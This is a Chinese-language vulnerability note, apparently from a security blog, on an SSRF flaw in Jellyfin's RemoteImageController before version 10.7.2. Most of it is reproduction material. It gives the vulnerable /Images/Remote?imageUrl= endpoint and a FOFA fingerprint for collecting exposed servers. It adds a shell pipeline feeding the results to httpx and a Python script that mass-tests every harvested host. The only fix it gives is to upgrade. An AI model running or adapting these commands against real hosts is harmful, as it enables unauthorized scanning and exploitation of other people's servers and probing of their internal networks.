1. 漏洞简介#
Jellyfin 是一个自由软件媒体系统,可让您控制媒体的管理和流媒体。它是专有的 Emby 和 Plex 的替代品,可通过多个应用程序从专用服务器向终端用户设备提供媒体。Jellyfin 是 Emby 3.5.2 版本的后代,移植到.NET Core 框架以支持完整的跨平台支持。没有任何附加条件,只是一个团队想要更好地构建更好的东西并共同努力实现它,致力于让所有用户都能访问最好的媒体系统
Jellyfin RemoteImageController.cs 文件中存在 SSRF 漏洞,通过构造特殊的请求,探测内网信息
2. 影响版本#
Jellyfin < 10.7.2
3. 漏洞复现#
/Images/Remote?imageUrl=http://www.baidu.com
fofa 搜索引擎的指纹为:"Jellyfin" && port="8096" ,用 Fofa 采集工具.exe 批量收集资产
搜集到的资产结果会保存到同目录的一个 result.csv 文件中
用 shell 命令筛选 IP 或者域名
cat result.csv | awk -F "," '{print $2}' | httpx >> Jellyfin.txt
再用 python 脚本批量验证
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def Jellyfin():
with open("Jellyfin.txt") as file:
for line in file:
vuln_url = line + "/Images/Remote?imageUrl=http://www.baidu.com"
try:
response = requests.get(url=vuln_url, verify=False, timeout=10)
if response.status_code == 200:
print(vuln_url)
else:
pass
continue
except Exception as e:
pass
#print(e)
continue
def main():
Jellyfin()
if __name__ == '__main__':
main()
4. 漏洞修复#
更新版本
5. 参考链接#
关于 SSRF 漏洞,可以看这个博文: